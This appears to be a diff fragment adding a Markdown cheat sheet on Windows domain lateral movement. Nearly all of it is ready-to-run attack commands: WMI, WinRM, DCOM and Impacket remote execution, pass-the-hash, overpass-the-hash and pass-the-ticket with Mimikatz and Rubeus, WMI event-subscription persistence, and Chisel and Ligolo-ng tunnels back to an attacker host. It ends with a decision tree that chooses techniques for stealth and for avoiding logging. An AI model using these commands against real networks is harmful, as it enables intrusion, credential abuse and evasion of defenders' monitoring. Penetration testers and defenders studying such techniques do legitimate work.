88
+ ```bash
89
+ # Impacket wmiexec
90
+ wmiexec.py DOMAIN/administrator:password@TARGET_IP
91
+ wmiexec.py -hashes :NTLM_HASH DOMAIN/administrator@TARGET_IP
92
+
93
+ # With Kerberos
94
+ export KRB5CCNAME=admin.ccache
95
+ wmiexec.py -k -no-pass DOMAIN/administrator@target.domain.com
96
+ ```
97
+
98
+ ```powershell
99
+ # PowerShell WMI process creation
100
+ Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami > C:\temp\out.txt" -ComputerName TARGET -Credential $cred
101
+
102
+ # WMI event subscription persistence
103
+ $filterArgs = @{
104
+ EventNamespace = 'root\cimv2'; Name = 'Updater';
105
+ QueryLanguage = 'WQL';
106
+ Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
107
+ }
108
+ $filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $filterArgs
109
+ ```
110
+
111
+ ---
112
+
113
+ ## 4. WINRM LATERAL MOVEMENT
114
+
115
+ ```bash
116
+ # evil-winrm (from Linux — with password)
117
+ evil-winrm -i TARGET_IP -u administrator -p password
118
+
119
+ # evil-winrm (with hash)
120
+ evil-winrm -i TARGET_IP -u administrator -H NTLM_HASH
121
+
122
+ # evil-winrm (with Kerberos)
123
+ evil-winrm -i target.domain.com -r DOMAIN.COM
124
+ ```
125
+
126
+ ```powershell
127
+ # PowerShell remoting
128
+ $cred = Get-Credential
129
+ Enter-PSSession -ComputerName TARGET -Credential $cred
130
+
131
+ # Execute command remotely
132
+ Invoke-Command -ComputerName TARGET -Credential $cred -ScriptBlock { whoami }
133
+
134
+ # Multiple targets simultaneously
135
+ Invoke-Command -ComputerName TARGET1,TARGET2 -Credential $cred -ScriptBlock { hostname; whoami }
136
+ ```
137
+
138
+ ---
139
+
140
+ ## 5. DCOM LATERAL MOVEMENT
141
+
142
+ Stealthy — uses legitimate COM objects, no service creation.
143
+
144
+ ### MMC20.Application
145
+
146
+ ```powershell
147
+ $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","TARGET"))
148
+ $com.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c whoami > C:\temp\out.txt","7")
149
+ ```
150
+
151
+ ### ShellWindows
152
+
153
+ ```powershell
154
+ $com = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","TARGET"))
155
+ $item = $com.Item()
156
+ $item.Document.Application.ShellExecute("cmd.exe","/c whoami > C:\temp\out.txt","C:\Windows\System32",$null,0)
157
+ ```
158
+
159
+ ### ShellBrowserWindow
160
+
161
+ ```powershell
162
+ $com = [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","TARGET"))
163
+ $com.Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\Windows\System32",$null,0)
164
+ ```
165
+
166
+ ### Impacket dcomexec
167
+
168
+ ```bash
169
+ dcomexec.py DOMAIN/administrator:password@TARGET_IP
170
+ dcomexec.py -hashes :NTLM_HASH DOMAIN/administrator@TARGET_IP -object MMC20
171
+ ```
172
+
173
+ ---
174
+
175
+ ## 6. PASS-THE-HASH (PTH)
176
+
177
+ Use NTLM hash directly without knowing the plaintext password.
178
+
179
+ ```bash
180
+ # CrackMapExec — spray/check admin access
181
+ crackmapexec smb TARGETS -u administrator -H NTLM_HASH
182
+
183
+ # Impacket tools (all support -hashes)
184
+ psexec.py -hashes :NTLM_HASH DOMAIN/user@TARGET
185
+ wmiexec.py -hashes :NTLM_HASH DOMAIN/user@TARGET
186
+ smbexec.py -hashes :NTLM_HASH DOMAIN/user@TARGET
187
+
188
+ # evil-winrm
189
+ evil-winrm -i TARGET -u user -H NTLM_HASH
190
+
191
+ # xfreerdp (Restricted Admin mode must be enabled)
192
+ xfreerdp /v:TARGET /u:administrator /pth:NTLM_HASH /d:DOMAIN
193
+ ```
194
+
195
+ ```cmd
196
+ # Mimikatz PTH (spawns new process with injected creds)
197
+ sekurlsa::pth /user:administrator /domain:DOMAIN /ntlm:HASH /run:cmd.exe
198
+ ```
199
+
200
+ ### Enable Restricted Admin for RDP PTH
201
+
202
+ ```cmd
203
+ # On target (requires admin): enable restricted admin
204
+ reg add HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f
205
+ ```
206
+
207
+ ---
208
+
209
+ ## 7. OVERPASS-THE-HASH (PASS-THE-KEY)
210
+
211
+ Convert NTLM hash → Kerberos TGT → pure Kerberos authentication.
212
+
213
+ ```bash
214
+ # Request TGT with hash
215
+ getTGT.py DOMAIN/user -hashes :NTLM_HASH -dc-ip DC_IP
216
+ export KRB5CCNAME=user.ccache
217
+
218
+ # Or with AES256 key
219
+ getTGT.py DOMAIN/user -aesKey AES256_KEY -dc-ip DC_IP
220
+
221
+ # Use Kerberos for all subsequent tools
222
+ psexec.py -k -no-pass DOMAIN/user@target.domain.com
223
+ wmiexec.py -k -no-pass DOMAIN/user@target.domain.com
224
+ ```
225
+
226
+ ```cmd
227
+ # Mimikatz overpass-the-hash
228
+ sekurlsa::pth /user:user /domain:DOMAIN /ntlm:HASH /run:powershell.exe
229
+ # New PowerShell session → klist shows Kerberos TGT
230
+ ```
231
+
232
+ **Advantage**: Pure Kerberos auth avoids NTLM logging and detection.
233
+
234
+ ---
235
+
236
+ ## 8. PASS-THE-TICKET
237
+
238
+ ```bash
239
+ # Use existing .ccache ticket
240
+ export KRB5CCNAME=/path/to/admin.ccache
241
+ psexec.py -k -no-pass DOMAIN/admin@target.domain.com
242
+ ```
243
+
244
+ ```cmd
245
+ # Mimikatz — inject .kirbi ticket
246
+ kerberos::ptt ticket.kirbi
247
+ # Verify
248
+ klist
249
+
250
+ # Rubeus
251
+ Rubeus.exe ptt /ticket:base64_blob
252
+ ```
253
+
254
+ ---
255
+
256
+ ## 9. PIVOTING THROUGH COMPROMISED HOSTS
257
+
258
+ ### SSH Tunnel / Port Forward
259
+
260
+ ```bash
261
+ # Dynamic SOCKS proxy through compromised host
262
+ ssh -D 1080 user@COMPROMISED_HOST
263
+ # Use with proxychains
264
+
265
+ # Local port forward (access internal service)
266
+ ssh -L 8888:INTERNAL_TARGET:445 user@COMPROMISED_HOST
267
+ ```
268
+
269
+ ### Chisel (No SSH Needed)
270
+
271
+ ```bash
272
+ # On attacker (server)
273
+ chisel server --reverse -p 8080
274
+
275
+ # On compromised host (client)
276
+ chisel client ATTACKER:8080 R:socks
277
+ # Creates SOCKS5 proxy on attacker's port 1080
278
+ ```
279
+
280
+ ### Ligolo-ng (Modern, Fast)
281
+
282
+ ```bash
283
+ # On attacker
284
+ ligolo-proxy -selfcert -laddr 0.0.0.0:11601
285
+
286
+ # On compromised host
287
+ ligolo-agent -connect ATTACKER:11601 -retry -ignore-cert
288
+
289
+ # In ligolo console
290
+ session # Select agent
291
+ start # Start tunnel
292
+ # Add route: sudo ip route add INTERNAL_SUBNET/24 dev ligolo
293
+ ```
294
+
295
+ ---
296
+
297
+ ## 10. LATERAL MOVEMENT DECISION TREE
298
+
299
+ ```
300
+ Have credentials / hash — need to move laterally
301
+
302
+ ├── What credentials do you have?
303
+ │ ├── Plaintext password → any method
304
+ │ ├── NTLM hash → PTH methods (§6)
305
+ │ │ ├── Need stealthier? → Overpass-the-Hash first (§7)
306
+ │ │ └── Direct use → psexec/wmiexec/evil-winrm with -H
307
+ │ ├── Kerberos ticket → Pass-the-Ticket (§8)
308
+ │ └── AES key → Overpass-the-Hash with -aesKey (§7)
309
+
310
+ ├── OPSEC priority?
311
+ │ ├── High stealth needed
312
+ │ │ ├── WMI (no file on disk, no service) → wmiexec (§3)
313
+ │ │ ├── DCOM (uses legitimate COM) → dcomexec (§5)
314
+ │ │ └── WinRM (PowerShell remoting) → evil-winrm (§4)
315
+ │ ├── Moderate stealth
316
+ │ │ ├── smbexec (no binary upload) (§2)
317
+ │ │ └── atexec (scheduled task, auto-cleanup) (§2)
318
+ │ └── Low stealth acceptable
319
+ │ ├── PsExec (reliable, creates service) (§2)
320
+ │ └── RDP (interactive GUI) (§6)
321
+
322
+ ├── Need to pivot to internal network?
323
+ │ ├── SSH available → SSH tunnel / SOCKS (§9)
324
+ │ ├── No SSH → Chisel or Ligolo-ng (§9)
325
+ │ └── Multiple hops → chain SOCKS proxies
326
+
327
+ ├── Target hardening?
328
+ │ ├── SMB signing required → WMI, WinRM, or DCOM
329
+ │ ├── WinRM disabled → WMI or DCOM
330
+ │ ├── Firewall blocks 135/445 → RDP or SSH
331
+ │ └── Restricted Admin disabled → no RDP PTH → use other methods
332
+
333
+ └── Need to dump creds on new host?
334
+ └── Load CREDENTIAL_DUMPING.md
335
+ ```